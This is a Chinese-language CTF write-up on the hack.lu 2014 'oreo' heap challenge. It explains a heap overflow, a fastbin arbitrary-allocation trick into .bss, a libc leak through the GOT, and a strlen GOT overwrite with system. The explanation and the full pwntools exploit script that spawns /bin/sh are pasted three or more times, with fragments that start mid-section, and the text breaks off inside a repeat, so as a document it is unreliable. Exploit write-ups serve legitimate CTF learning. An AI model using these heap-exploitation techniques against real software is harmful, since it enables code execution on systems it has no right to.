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[原创]2014 hack.lu oreo
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发表于: 2018-10-10 20:03
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Arbitrary Alloc
漏洞知识：
Fastbin Attack
Arbitrary Alloc
保护机制
没开地址随机化，也能改got表
程序逻辑
我们看关键的几个函数：add, delete, leave_message
add
可以看到*((_DWORD *)tmp_heap + 13) = v1;是将tmp_heap+52(4*13)处记录上一个heap的地址last_heap。DWORD 是4个字节。
而tmp_heap记录description，tmp_heap+25记录name
sub_80485ec就是将最后一个字节截断了
因此，而在fgets中明显的存在堆溢出漏洞，从tmp_heap+25到tmp_heap+0x38有31个字节，而这里可以读入56个字节，说明name可以覆盖掉tmp_heap+52的last_heap指针
delete
从最近添加的heap逐渐先前free掉，注意这里free的只是last_heap的地址，这里导致我在后面先通过改free_got为system时，无法传入/bin/sh参数。可能是我在哪些地方没考虑到，如果哪位大佬能做到，恳请赐教！
leave_massage
这里是向bss段的0x0804a2a8指向的地方写东西
利用思路
照样的，我把我的一步一步的想法告诉大家（大佬可以绕过）
1、最终要system('/bin/sh')，容易想到改某个函数的got（没开保护）
2、由于程序中没有system函数，所以首先要泄露出system的地址，这样就得利用show_add来泄露某个函数的地址了
3、这里我选择free（在CTF Wiki中某位大佬说必须满足枪支结构，next必须为NULL，于是选择puts，但亲测没必要，我的习惯就是free），要将free_got放在last_heap指针中，这里就可以用到读取name时的堆溢出到last_heap
4、泄露之后就是改啊，有哪个函数可以输入的？就是leave_message。但这里leave_message的地址是固定的呀，有点棘手了。再仔细看leave_message函数，这里是往0x0804a2a8的指向的地方里面写东西，而不是往0x0804a2a8写东西（这里要理解清楚）。因此可以将0x0804a2a8的内容改成某个函数的got了，然后通过leave_message篡改got
5、那么怎么将
0x0804a2a8的内容改成got
呢？我们似乎没有直接向这里写东西的函数，因此我们需要将堆分配到这里，这里就用到了
Arbitrary Alloc 技术。将0x0804a2a8作为一个heap的last_heap，free之后就会将0x0804a2a8放入fastbin，再次分配时就会返回到这个地方O(∩_∩)O
实现
好了，整个逆向思路整理好了，就正向实现吧。
Step1:leak libc base
add('a','a')
delete() #run free
name = 'a'*27 + p32(elf.got['free']) #name + last_heap
print hex(elf.got['free'])
add(name,'a'*25)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))由于一开始没有运行过free函数，根据linux延迟绑定机制，只有第一次运行后got表才会绑定free的实际内存地址。
接下来就是填充27个字节的name，将last_heap指针覆盖成free_got地址，以泄露free地址，然后就能根据libc相对偏移计算出system的地址了。
Step2：alloc to 0x0804a2a8
要在bss段上分配堆，首先需要堆上有合适的size以满足malloc(0x38)的条件。这里我们需要的size为0x40，这是因为我们的枪支结构的内容大小为0x38，因此整个chunk的size就为0x40。而如果data段是从0x0804a2a8开始，那么size就位于0x0804a2a8-4=0x0804a2a4处，观察一下这里刚好是number的地址，因此我们就需要在分配到0x0804a2a8前添加0x40次。
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i)) #name + last_heap
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')注意这里每个chunk的last_heap都要设置成NULL，因为在后面delete的时候是依次free，这样才不会将这些chunk放入fastbin中。
再添加一次chunk，将last_heap设置成0x0804a2a8，这样在free一次后会将指针设置成last_heap，再将其free放入fastbin，这样下次malloc的时候就会将最近放入fastbin中的chunk返回，也就是我们的0x0804a2a8。
这里有个地方需要绕过：next_chunksize
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) //大于一个header
<= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}从前四行可以看到，如果next_chunksize过大或过小，都会触发一个错误。因此我们要保证下个伪造的chunk的size位符合条件。
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100) #padding + last_heap + prev_size_of_fake_chunk + size_of_fake_chunk message(payload) delete()
message是从0x0804a2c0开始编辑的，而我们的chunk从0x0804a2a8开始的0x38个字节，填满整个chunk需要0x38-(0xc0-0xa8) = 0x20字节，但最后4个字节也就是last_heap我们要设置为NULL。我把这个size设置为100，只要不大不小就行，比如0x100也行。
可以看到这里只有两个，最近的就是我们0x0804a2a8-8的chunk，下次malloc就会返回它了。
Step3:trim strlen_got
我们可以发现leave_message函数中fgets之后就会调用截断函数，里面就有个strlen函数，我们就把他改为system，这样在fgets篡改成system后就能直接调用了，不用在另外构造。
payload = p32(elf.got['strlen'])
add('b',payload)
可以看出这里成功写入strlen_got
message(p32(system_addr)+';/bin/sh\x00')
这样就相当于往0x0804a250指向的地址写入system。
这里有个新姿势：system("ls;/bin/sh")就相当于sytem("ls");system("/bin/sh");分号代表system函数将这个参数分成两部分，先后执行里面的命令。因此这里在fgets函数篡改了strlen_got后紧接着调用strlen，就相当于system(p32(system_addr);"/bin/sh") = system(p32(system_addr));system("/bin/sh");
这样就能实现最终目的了。
贴出完整exp：
#!/usr/bin/env python
from pwn import *
cn = process('./oreo')
elf=ELF('./oreo')
#context.log_level='debug'
libc = ELF('libc.so.6')
def add(name,description):
#cn.recvuntil('Action: ')
cn.sendline('1')
#cn.recvuntil('Rifle name: ')
cn.sendline(name)
#cn.recvuntil('Rifle description: ')
cn.sendline(description)
def show_add():
#cn.recvuntil('Action: ')
#gdb.attach(cn)
cn.sendline('2')
def delete():
#cn.recvuntil('Action: ')
cn.sendline('3')
def message(notice):
#cn.recvuntil('Action: ')
cn.sendline('4')
#cn.recvuntil('order: ')
cn.sendline(notice)
def show_stat():
#cn.recvuntil('Action: ')
cn.sendline('5')
#leak libc base
add('a','a')
delete()
name = 'a'*27 + p32(elf.got['free'])
print hex(elf.got['free'])
add(name,'a'*25)
#gdb.attach(cn)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))
gdb.attach(cn)
#alloc to bss
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i))
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')
#gdb.attach(cn)
#fake chunk to bypass check
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100)
message(payload)
delete()
cn.recvuntil('submitted!\n')
#trim free_got
payload = p32(elf.got['strlen'])
add('b',payload)
#gdb.attach(cn)
message(p32(system_addr)+';/bin/sh\x00')
cn.interactive()
补充：最后实现触发system的还有一种方法，就是将free_hook改为one_gadget，但不能将free改为one_gadget，应该是因为free需要参数而one_gadget不需要参数吧。
欢迎大家交流讨论！
Fastbin Attack
Arbitrary Alloc
保护机制
没开地址随机化，也能改got表
程序逻辑
我们看关键的几个函数：add, delete, leave_message
add
可以看到*((_DWORD *)tmp_heap + 13) = v1;是将tmp_heap+52(4*13)处记录上一个heap的地址last_heap。DWORD 是4个字节。
而tmp_heap记录description，tmp_heap+25记录name
sub_80485ec就是将最后一个字节截断了
因此，而在fgets中明显的存在堆溢出漏洞，从tmp_heap+25到tmp_heap+0x38有31个字节，而这里可以读入56个字节，说明name可以覆盖掉tmp_heap+52的last_heap指针
delete
从最近添加的heap逐渐先前free掉，注意这里free的只是last_heap的地址，这里导致我在后面先通过改free_got为system时，无法传入/bin/sh参数。可能是我在哪些地方没考虑到，如果哪位大佬能做到，恳请赐教！
leave_massage
这里是向bss段的0x0804a2a8指向的地方写东西
利用思路
照样的，我把我的一步一步的想法告诉大家（大佬可以绕过）
1、最终要system('/bin/sh')，容易想到改某个函数的got（没开保护）
2、由于程序中没有system函数，所以首先要泄露出system的地址，这样就得利用show_add来泄露某个函数的地址了
3、这里我选择free（在CTF Wiki中某位大佬说必须满足枪支结构，next必须为NULL，于是选择puts，但亲测没必要，我的习惯就是free），要将free_got放在last_heap指针中，这里就可以用到读取name时的堆溢出到last_heap
4、泄露之后就是改啊，有哪个函数可以输入的？就是leave_message。但这里leave_message的地址是固定的呀，有点棘手了。再仔细看leave_message函数，这里是往0x0804a2a8的指向的地方里面写东西，而不是往0x0804a2a8写东西（这里要理解清楚）。因此可以将0x0804a2a8的内容改成某个函数的got了，然后通过leave_message篡改got
5、那么怎么将
0x0804a2a8的内容改成got
呢？我们似乎没有直接向这里写东西的函数，因此我们需要将堆分配到这里，这里就用到了
Arbitrary Alloc 技术。将0x0804a2a8作为一个heap的last_heap，free之后就会将0x0804a2a8放入fastbin，再次分配时就会返回到这个地方O(∩_∩)O
实现
好了，整个逆向思路整理好了，就正向实现吧。
Step1:leak libc base
add('a','a')
delete() #run free
name = 'a'*27 + p32(elf.got['free']) #name + last_heap
print hex(elf.got['free'])
add(name,'a'*25)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))由于一开始没有运行过free函数，根据linux延迟绑定机制，只有第一次运行后got表才会绑定free的实际内存地址。
接下来就是填充27个字节的name，将last_heap指针覆盖成free_got地址，以泄露free地址，然后就能根据libc相对偏移计算出system的地址了。
Step2：alloc to 0x0804a2a8
要在bss段上分配堆，首先需要堆上有合适的size以满足malloc(0x38)的条件。这里我们需要的size为0x40，这是因为我们的枪支结构的内容大小为0x38，因此整个chunk的size就为0x40。而如果data段是从0x0804a2a8开始，那么size就位于0x0804a2a8-4=0x0804a2a4处，观察一下这里刚好是number的地址，因此我们就需要在分配到0x0804a2a8前添加0x40次。
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i)) #name + last_heap
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')注意这里每个chunk的last_heap都要设置成NULL，因为在后面delete的时候是依次free，这样才不会将这些chunk放入fastbin中。
再添加一次chunk，将last_heap设置成0x0804a2a8，这样在free一次后会将指针设置成last_heap，再将其free放入fastbin，这样下次malloc的时候就会将最近放入fastbin中的chunk返回，也就是我们的0x0804a2a8。
这里有个地方需要绕过：next_chunksize
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) //大于一个header
<= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}从前四行可以看到，如果next_chunksize过大或过小，都会触发一个错误。因此我们要保证下个伪造的chunk的size位符合条件。
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100) #padding + last_heap + prev_size_of_fake_chunk + size_of_fake_chunk message(payload) delete()
message是从0x0804a2c0开始编辑的，而我们的chunk从0x0804a2a8开始的0x38个字节，填满整个chunk需要0x38-(0xc0-0xa8) = 0x20字节，但最后4个字节也就是last_heap我们要设置为NULL。我把这个size设置为100，只要不大不小就行，比如0x100也行。
可以看到这里只有两个，最近的就是我们0x0804a2a8-8的chunk，下次malloc就会返回它了。
Step3:trim strlen_got
我们可以发现leave_message函数中fgets之后就会调用截断函数，里面就有个strlen函数，我们就把他改为system，这样在fgets篡改成system后就能直接调用了，不用在另外构造。
payload = p32(elf.got['strlen'])
add('b',payload)可以看出这里成功写入strlen_got
message(p32(system_addr)+';/bin/sh\x00')
这样就相当于往0x0804a250指向的地址写入system。
这里有个新姿势：system("ls;/bin/sh")就相当于sytem("ls");system("/bin/sh");分号代表system函数将这个参数分成两部分，先后执行里面的命令。因此这里在fgets函数篡改了strlen_got后紧接着调用strlen，就相当于system(p32(system_addr);"/bin/sh") = system(p32(system_addr));system("/bin/sh");
这样就能实现最终目的了。
贴出完整exp：
#!/usr/bin/env python
from pwn import *
cn = process('./oreo')
elf=ELF('./oreo')
#context.log_level='debug'
libc = ELF('libc.so.6')
def add(name,description):
#cn.recvuntil('Action: ')
cn.sendline('1')
#cn.recvuntil('Rifle name: ')
cn.sendline(name)
#cn.recvuntil('Rifle description: ')
cn.sendline(description)
def show_add():
#cn.recvuntil('Action: ')
#gdb.attach(cn)
cn.sendline('2')
def delete():
#cn.recvuntil('Action: ')
cn.sendline('3')
def message(notice):
#cn.recvuntil('Action: ')
cn.sendline('4')
#cn.recvuntil('order: ')
cn.sendline(notice)
def show_stat():
#cn.recvuntil('Action: ')
cn.sendline('5')
#leak libc base
add('a','a')
delete()
name = 'a'*27 + p32(elf.got['free'])
print hex(elf.got['free'])
add(name,'a'*25)
#gdb.attach(cn)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))
gdb.attach(cn)
#alloc to bss
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i))
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')
#gdb.attach(cn)
#fake chunk to bypass check
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100)
message(payload)
delete()
cn.recvuntil('submitted!\n')
#trim free_got
payload = p32(elf.got['strlen'])
add('b',payload)
#gdb.attach(cn)
message(p32(system_addr)+';/bin/sh\x00')
cn.interactive()
补充：最后实现触发system的还有一种方法，就是将free_hook改为one_gadget，但不能将free改为one_gadget，应该是因为free需要参数而one_gadget不需要参数吧。
欢迎大家交流讨论！
没开地址随机化，也能改got表
程序逻辑
我们看关键的几个函数：add, delete, leave_message
add
可以看到*((_DWORD *)tmp_heap + 13) = v1;是将tmp_heap+52(4*13)处记录上一个heap的地址last_heap。DWORD 是4个字节。
而tmp_heap记录description，tmp_heap+25记录name
sub_80485ec就是将最后一个字节截断了
因此，而在fgets中明显的存在堆溢出漏洞，从tmp_heap+25到tmp_heap+0x38有31个字节，而这里可以读入56个字节，说明name可以覆盖掉tmp_heap+52的last_heap指针
delete
从最近添加的heap逐渐先前free掉，注意这里free的只是last_heap的地址，这里导致我在后面先通过改free_got为system时，无法传入/bin/sh参数。可能是我在哪些地方没考虑到，如果哪位大佬能做到，恳请赐教！
leave_massage
这里是向bss段的0x0804a2a8指向的地方写东西
利用思路
照样的，我把我的一步一步的想法告诉大家（大佬可以绕过）
1、最终要system('/bin/sh')，容易想到改某个函数的got（没开保护）
2、由于程序中没有system函数，所以首先要泄露出system的地址，这样就得利用show_add来泄露某个函数的地址了
3、这里我选择free（在CTF Wiki中某位大佬说必须满足枪支结构，next必须为NULL，于是选择puts，但亲测没必要，我的习惯就是free），要将free_got放在last_heap指针中，这里就可以用到读取name时的堆溢出到last_heap
4、泄露之后就是改啊，有哪个函数可以输入的？就是leave_message。但这里leave_message的地址是固定的呀，有点棘手了。再仔细看leave_message函数，这里是往0x0804a2a8的指向的地方里面写东西，而不是往0x0804a2a8写东西（这里要理解清楚）。因此可以将0x0804a2a8的内容改成某个函数的got了，然后通过leave_message篡改got
5、那么怎么将
0x0804a2a8的内容改成got
呢？我们似乎没有直接向这里写东西的函数，因此我们需要将堆分配到这里，这里就用到了
Arbitrary Alloc 技术。将0x0804a2a8作为一个heap的last_heap，free之后就会将0x0804a2a8放入fastbin，再次分配时就会返回到这个地方O(∩_∩)O
实现
好了，整个逆向思路整理好了，就正向实现吧。
Step1:leak libc base
add('a','a')
delete() #run free
name = 'a'*27 + p32(elf.got['free']) #name + last_heap
print hex(elf.got['free'])
add(name,'a'*25)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))由于一开始没有运行过free函数，根据linux延迟绑定机制，只有第一次运行后got表才会绑定free的实际内存地址。
接下来就是填充27个字节的name，将last_heap指针覆盖成free_got地址，以泄露free地址，然后就能根据libc相对偏移计算出system的地址了。
Step2：alloc to 0x0804a2a8
要在bss段上分配堆，首先需要堆上有合适的size以满足malloc(0x38)的条件。这里我们需要的size为0x40，这是因为我们的枪支结构的内容大小为0x38，因此整个chunk的size就为0x40。而如果data段是从0x0804a2a8开始，那么size就位于0x0804a2a8-4=0x0804a2a4处，观察一下这里刚好是number的地址，因此我们就需要在分配到0x0804a2a8前添加0x40次。
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i)) #name + last_heap
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')注意这里每个chunk的last_heap都要设置成NULL，因为在后面delete的时候是依次free，这样才不会将这些chunk放入fastbin中。
再添加一次chunk，将last_heap设置成0x0804a2a8，这样在free一次后会将指针设置成last_heap，再将其free放入fastbin，这样下次malloc的时候就会将最近放入fastbin中的chunk返回，也就是我们的0x0804a2a8。
这里有个地方需要绕过：next_chunksize
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) //大于一个header
<= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}从前四行可以看到，如果next_chunksize过大或过小，都会触发一个错误。因此我们要保证下个伪造的chunk的size位符合条件。
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100) #padding + last_heap + prev_size_of_fake_chunk + size_of_fake_chunk message(payload) delete()
message是从0x0804a2c0开始编辑的，而我们的chunk从0x0804a2a8开始的0x38个字节，填满整个chunk需要0x38-(0xc0-0xa8) = 0x20字节，但最后4个字节也就是last_heap我们要设置为NULL。我把这个size设置为100，只要不大不小就行，比如0x100也行。
可以看到这里只有两个，最近的就是我们0x0804a2a8-8的chunk，下次malloc就会返回它了。
Step3:trim strlen_got
我们可以发现leave_message函数中fgets之后就会调用截断函数，里面就有个strlen函数，我们就把他改为system，这样在fgets篡改成system后就能直接调用了，不用在另外构造。
payload = p32(elf.got['strlen'])
add('b',payload)可以看出这里成功写入strlen_got
message(p32(system_addr)+';/bin/sh\x00')
这样就相当于往0x0804a250指向的地址写入system。
这里有个新姿势：system("ls;/bin/sh")就相当于sytem("ls");system("/bin/sh");分号代表system函数将这个参数分成两部分，先后执行里面的命令。因此这里在fgets函数篡改了strlen_got后紧接着调用strlen，就相当于system(p32(system_addr);"/bin/sh") = system(p32(system_addr));system("/bin/sh");
这样就能实现最终目的了。
贴出完整exp：
#!/usr/bin/env python
from pwn import *
cn = process('./oreo')
elf=ELF('./oreo')
#context.log_level='debug'
libc = ELF('libc.so.6')
def add(name,description):
#cn.recvuntil('Action: ')
cn.sendline('1')
#cn.recvuntil('Rifle name: ')
cn.sendline(name)
#cn.recvuntil('Rifle description: ')
cn.sendline(description)
def show_add():
#cn.recvuntil('Action: ')
#gdb.attach(cn)
cn.sendline('2')
def delete():
#cn.recvuntil('Action: ')
cn.sendline('3')
def message(notice):
#cn.recvuntil('Action: ')
cn.sendline('4')
#cn.recvuntil('order: ')
cn.sendline(notice)
def show_stat():
#cn.recvuntil('Action: ')
cn.sendline('5')
#leak libc base
add('a','a')
delete()
name = 'a'*27 + p32(elf.got['free'])
print hex(elf.got['free'])
add(name,'a'*25)
#gdb.attach(cn)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))
gdb.attach(cn)
#alloc to bss
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i))
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')
#gdb.attach(cn)
#fake chunk to bypass check
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100)
message(payload)
delete()
cn.recvuntil('submitted!\n')
#trim free_got
payload = p32(elf.got['strlen'])
add('b',payload)
#gdb.attach(cn)
message(p32(system_addr)+';/bin/sh\x00')
cn.interactive()
补充：最后实现触发system的还有一种方法，就是将free_hook改为one_gadget，但不能将free改为one_gadget，应该是因为free需要参数而one_gadget不需要参数吧。
欢迎大家交流讨论！
这里是向bss段的0x0804a2a8指向的地方写东西
利用思路
照样的，我把我的一步一步的想法告诉大家（大佬可以绕过）
1、最终要system('/bin/sh')，容易想到改某个函数的got（没开保护）
2、由于程序中没有system函数，所以首先要泄露出system的地址，这样就得利用show_add来泄露某个函数的地址了
3、这里我选择free（在CTF Wiki中某位大佬说必须满足枪支结构，next必须为NULL，于是选择puts，但亲测没必要，我的习惯就是free），要将free_got放在last_heap指针中，这里就可以用到读取name时的堆溢出到last_heap
4、泄露之后就是改啊，有哪个函数可以输入的？就是leave_message。但这里leave_message的地址是固定的呀，有点棘手了。再仔细看leave_message函数，这里是往0x0804a2a8的指向的地方里面写东西，而不是往0x0804a2a8写东西（这里要理解清楚）。因此可以将0x0804a2a8的内容改成某个函数的got了，然后通过leave_message篡改got
5、那么怎么将
0x0804a2a8的内容改成got
呢？我们似乎没有直接向这里写东西的函数，因此我们需要将堆分配到这里，这里就用到了
Arbitrary Alloc 技术。将0x0804a2a8作为一个heap的last_heap，free之后就会将0x0804a2a8放入fastbin，再次分配时就会返回到这个地方O(∩_∩)O
实现
好了，整个逆向思路整理好了，就正向实现吧。
Step1:leak libc base
add('a','a')
delete() #run free
name = 'a'*27 + p32(elf.got['free']) #name + last_heap
print hex(elf.got['free'])
add(name,'a'*25)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))由于一开始没有运行过free函数，根据linux延迟绑定机制，只有第一次运行后got表才会绑定free的实际内存地址。
接下来就是填充27个字节的name，将last_heap指针覆盖成free_got地址，以泄露free地址，然后就能根据libc相对偏移计算出system的地址了。
Step2：alloc to 0x0804a2a8
要在bss段上分配堆，首先需要堆上有合适的size以满足malloc(0x38)的条件。这里我们需要的size为0x40，这是因为我们的枪支结构的内容大小为0x38，因此整个chunk的size就为0x40。而如果data段是从0x0804a2a8开始，那么size就位于0x0804a2a8-4=0x0804a2a4处，观察一下这里刚好是number的地址，因此我们就需要在分配到0x0804a2a8前添加0x40次。
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i)) #name + last_heap
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')注意这里每个chunk的last_heap都要设置成NULL，因为在后面delete的时候是依次free，这样才不会将这些chunk放入fastbin中。
再添加一次chunk，将last_heap设置成0x0804a2a8，这样在free一次后会将指针设置成last_heap，再将其free放入fastbin，这样下次malloc的时候就会将最近放入fastbin中的chunk返回，也就是我们的0x0804a2a8。
这里有个地方需要绕过：next_chunksize
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) //大于一个header
<= 2 * SIZE_SZ, 0)//SIZE_SZ是系统单位字节数
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}从前四行可以看到，如果next_chunksize过大或过小，都会触发一个错误。因此我们要保证下个伪造的chunk的size位符合条件。
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100) #padding + last_heap + prev_size_of_fake_chunk + size_of_fake_chunk message(payload) delete()
message是从0x0804a2c0开始编辑的，而我们的chunk从0x0804a2a8开始的0x38个字节，填满整个chunk需要0x38-(0xc0-0xa8) = 0x20字节，但最后4个字节也就是last_heap我们要设置为NULL。我把这个size设置为100，只要不大不小就行，比如0x100也行。
可以看到这里只有两个，最近的就是我们0x0804a2a8-8的chunk，下次malloc就会返回它了。
Step3:trim strlen_got
我们可以发现leave_message函数中fgets之后就会调用截断函数，里面就有个strlen函数，我们就把他改为system，这样在fgets篡改成system后就能直接调用了，不用在另外构造。
payload = p32(elf.got['strlen'])
add('b',payload)可以看出这里成功写入strlen_got
message(p32(system_addr)+';/bin/sh\x00')
这样就相当于往0x0804a250指向的地址写入system。
这里有个新姿势：system("ls;/bin/sh")就相当于sytem("ls");system("/bin/sh");分号代表system函数将这个参数分成两部分，先后执行里面的命令。因此这里在fgets函数篡改了strlen_got后紧接着调用strlen，就相当于system(p32(system_addr);"/bin/sh") = system(p32(system_addr));system("/bin/sh");
这样就能实现最终目的了。
贴出完整exp：
#!/usr/bin/env python
from pwn import *
cn = process('./oreo')
elf=ELF('./oreo')
#context.log_level='debug'
libc = ELF('libc.so.6')
def add(name,description):
#cn.recvuntil('Action: ')
cn.sendline('1')
#cn.recvuntil('Rifle name: ')
cn.sendline(name)
#cn.recvuntil('Rifle description: ')
cn.sendline(description)
def show_add():
#cn.recvuntil('Action: ')
#gdb.attach(cn)
cn.sendline('2')
def delete():
#cn.recvuntil('Action: ')
cn.sendline('3')
def message(notice):
#cn.recvuntil('Action: ')
cn.sendline('4')
#cn.recvuntil('order: ')
cn.sendline(notice)
def show_stat():
#cn.recvuntil('Action: ')
cn.sendline('5')
#leak libc base
add('a','a')
delete()
name = 'a'*27 + p32(elf.got['free'])
print hex(elf.got['free'])
add(name,'a'*25)
#gdb.attach(cn)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))
gdb.attach(cn)
#alloc to bss
for i in range(0x40-2-1):
add('a'*27+p32(0),str(i))
message_addr = 0x0804a2a8
payload = 'b'*27 + p32(message_addr)
add(payload,'b')
#gdb.attach(cn)
#fake chunk to bypass check
payload = 'a'*(0x20-4)+'\x00'*4 + 'a'*4 + p32(100)
message(payload)
delete()
cn.recvuntil('submitted!\n')
#trim free_got
payload = p32(elf.got['strlen'])
add('b',payload)
#gdb.attach(cn)
message(p32(system_addr)+';/bin/sh\x00')
cn.interactive()
补充：最后实现触发system的还有一种方法，就是将free_hook改为one_gadget，但不能将free改为one_gadget，应该是因为free需要参数而one_gadget不需要参数吧。
欢迎大家交流讨论！
照样的，我把我的一步一步的想法告诉大家（大佬可以绕过）
1、最终要system('/bin/sh')，容易想到改某个函数的got（没开保护）
2、由于程序中没有system函数，所以首先要泄露出system的地址，这样就得利用show_add来泄露某个函数的地址了
3、这里我选择free（在CTF Wiki中某位大佬说必须满足枪支结构，next必须为NULL，于是选择puts，但亲测没必要，我的习惯就是free），要将free_got放在last_heap指针中，这里就可以用到读取name时的堆溢出到last_heap
4、泄露之后就是改啊，有哪个函数可以输入的？就是leave_message。但这里leave_message的地址是固定的呀，有点棘手了。再仔细看leave_message函数，这里是往0x0804a2a8的指向的地方里面写东西，而不是往0x0804a2a8写东西（这里要理解清楚）。因此可以将0x0804a2a8的内容改成某个函数的got了，然后通过leave_message篡改got
5、那么怎么将
0x0804a2a8的内容改成got
呢？我们似乎没有直接向这里写东西的函数，因此我们需要将堆分配到这里，这里就用到了
Arbitrary Alloc 技术。将0x0804a2a8作为一个heap的last_heap，free之后就会将0x0804a2a8放入fastbin，再次分配时就会返回到这个地方O(∩_∩)O
实现
好了，整个逆向思路整理好了，就正向实现吧。
Step1:leak libc base
add('a','a')
delete() #run free
name = 'a'*27 + p32(elf.got['free']) #name + last_heap
print hex(elf.got['free'])
add(name,'a'*25)
show_add()
cn.recvuntil('Description: ')
cn.recvuntil('Description: ')
free_addr = u32(cn.recv(4).ljust(4,'\x00'))
success('free_addr'+hex(free_addr))
libc_base = free_addr-libc.symbols['free']
system_addr = free_addr+libc.symbols['system']-libc.symbols['free']
success('system_addr'+hex(system_addr))由于一开始没有运行过free函数，根据linux延迟绑定机制，只有第一次运行后got表才会绑定free的实际内存地址。
